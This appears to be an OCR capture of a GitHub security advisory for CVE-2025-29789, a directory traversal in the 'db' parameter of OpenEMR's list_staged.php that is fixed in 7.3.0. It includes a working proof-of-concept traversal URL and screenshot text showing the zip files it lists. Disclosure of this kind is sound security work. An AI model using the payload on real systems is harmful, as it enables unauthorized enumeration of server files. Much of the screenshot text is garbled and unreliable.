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Directory Traversal in Load Code feature

bradymiller published GHSA-ffpq-2wqj-v8ff yesterday

3 Projects

@ Security 1

Package Affected versions Patched versions
OpenEMR <7.3.0 7.3.0
Description
Summary
Directory Traversal in Load Code feature
Details
Admin>Coding>External Data Loads
Check the installation status of external data
v QO OpenEMR x o+ X
< C @ http/floc :8092/interface/main/tab: php?token_main=wBISTyB7I8XAj65Ha8iXX1CDn2HzLDxballYV81q * 53 @
Q Calendar Finder Flow Recalls Messages Patient Fees Modules Procedures Admin Reports Miscellaneous Popups Search by any demograpt | Q @
A Calendar Message Center External Data Loads

External Database Import Utility

Overview

ICD10

Installed Release Staged Releases

Not installed Zip File 3 2025 ICD-10-PCS Codes File.zip

icd100rderFiles2025_0.zip

INSTALL

RXNORM
SNOMED

CQM_VALUESET

A directory traversal vulnerability exists in the db parameter of

/interface/code_systems/list_staged.php .

This vulnerability can be used to obtain a list of zip files if the exist in a directory.

POC

Severity

46110

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low

Attack None
Requirements

Privileges Required  High
User interaction Active

Vulnerable System
Impact Metrics

Confidentiality Low
Integrity None
Availability None

Subsequent System
Impact Metrics

Confidentiality None
Integrity None
Availability None

Learn more about base
metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/

ULA/VC:L/VI:N/VA:N/SC:N/SI:N/
SA:N

CVEID
CVE-2025-29789

Weaknesses

CWE-23

Credits

|~ Insights
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http://localhost:8092/interface/code_systems/list_staged.php?
db=../../../../../../var/'www/localhost/htdocs/openemr/ccdaservice/node_modules/

oe-cgm-parsers/cms_measures/&_=1741951977700

v OpenEMR X @ localhost:8092/interface/code -~ X+ - [m] X

p cdaservice/nod.. % $3} | A ®

<« C @ nhttp//localhost:8092/interface/code_systems/list_staged.php?db=.,

UNSUPPORTED database load file:
CMS117v10.zip!

UNSUPPORTED database load file:
CMS122v10.zip!

UNSUPPORTED database load file:
CMS124v10.zip!

UNSUPPORTED database load file:
CMS125v10.zip!

UNSUPPORTED database load file:
CMS127v10.zip!

UNSUPPORTED database load file:
CMS128v10.zip!

UNSUPPORTED database load file:
CMS129vi1.zip!

UNSUPPORTED database load file:
CMS130v10.zip!

UNSUPPORTED database load file:
CMS131v10.zip!

UNSUPPORTED database load file:
CMS133v10.zip!

UNSUPPORTED database load file:
CMS134v10.zip!

UNSUPPORTED database load file:
CMS135v10.zip!

UNSUPPORTED database load file:
CMS136vi1.zip!

UNSUPPORTED database load file:
CMS137v10.zip!

UNSUPPORTED database load file:
CMS138v10.zip!

UNSUPPORTED database load file: .

/var/www/localhost/htdocs/openemr/ccdaservice/node_modules/oe-cqm-
parsers/cms_measures/

docker.desktop Q search
@ Containers < Containers / openemr
& Images
openemr
& Volumes - STATUS =
f19: & @ openemr/openemr:7.0.2
‘@ et o I © § ©
£ Builds 8092:80 (2
@  Docker Hub Logs Inspect Bind mounts Exec Files Stats Hide file editor
& Docker Scout
Name 1 Note Size Last modified Mode
¢» Extensions
@ env.sample 64 Bytes 4 months ago “TW-T=1—
v cms_measures 4 months ago drwxr-xr-x
@ CMS117v10.zip 156.5kB 4 months ago “TW-T—1--
@ CMsS122v10.zip 107.4kB 4 months ago “TW-T—T—
B CMS124v10.zip 77.6kB 4 months ago TW-T--T
@ CMS125v10.zip 114.1kB 4 months ago “TW-T—1—
var/ htd ccdaservi de_modul q
PlainText x

P
parsers/cms_measures/CMS117v10.zip

PKeree QOIROO9e5o . @rn 2§ OUS117v10/Chi ldhoodImmuni zat i onStatus-10.0.000.cql

1

2 ey GO0 91 Q00D k0 95 @ 0010 bHOO O ki | #( 9000 & @ 60 004
3 | o®

4 0000000 010010002007 :00-.00" 900000 10OVEEIG 00 90010 121000 IEO- 000! { -6 06
5199 ek 0000 11:0@5kE R OO OO5

B 05019 9K 006 900907 0000 OTFD O (097 PPVP - Wk IN O 1L 0 00k GVIGHT[ - 04
7 5@ @z Q@@ oar:u®r: 9. 95790 @ 0 QUOIc/ - 9OIP:.: QUM OIROD O v @ ©. - I9Oh QO cOlIO-Oh
I 00000 00 000 9050001 00000000000 PO -t

1 - 0lolooo 0000 000 000 : ! QOONY - (QVVO OVGOIOUY ,20= [H @ 1OV :0xQOWEODOC

&  Engine running 1 RAM 1.96 GB CPU0.00% Disk: 29.08 GB used (limit 250.92 GB) >_ Terminal ( New version available

Reporter

Wishes to remain anonymous

$

bradymiller

Remediation develop
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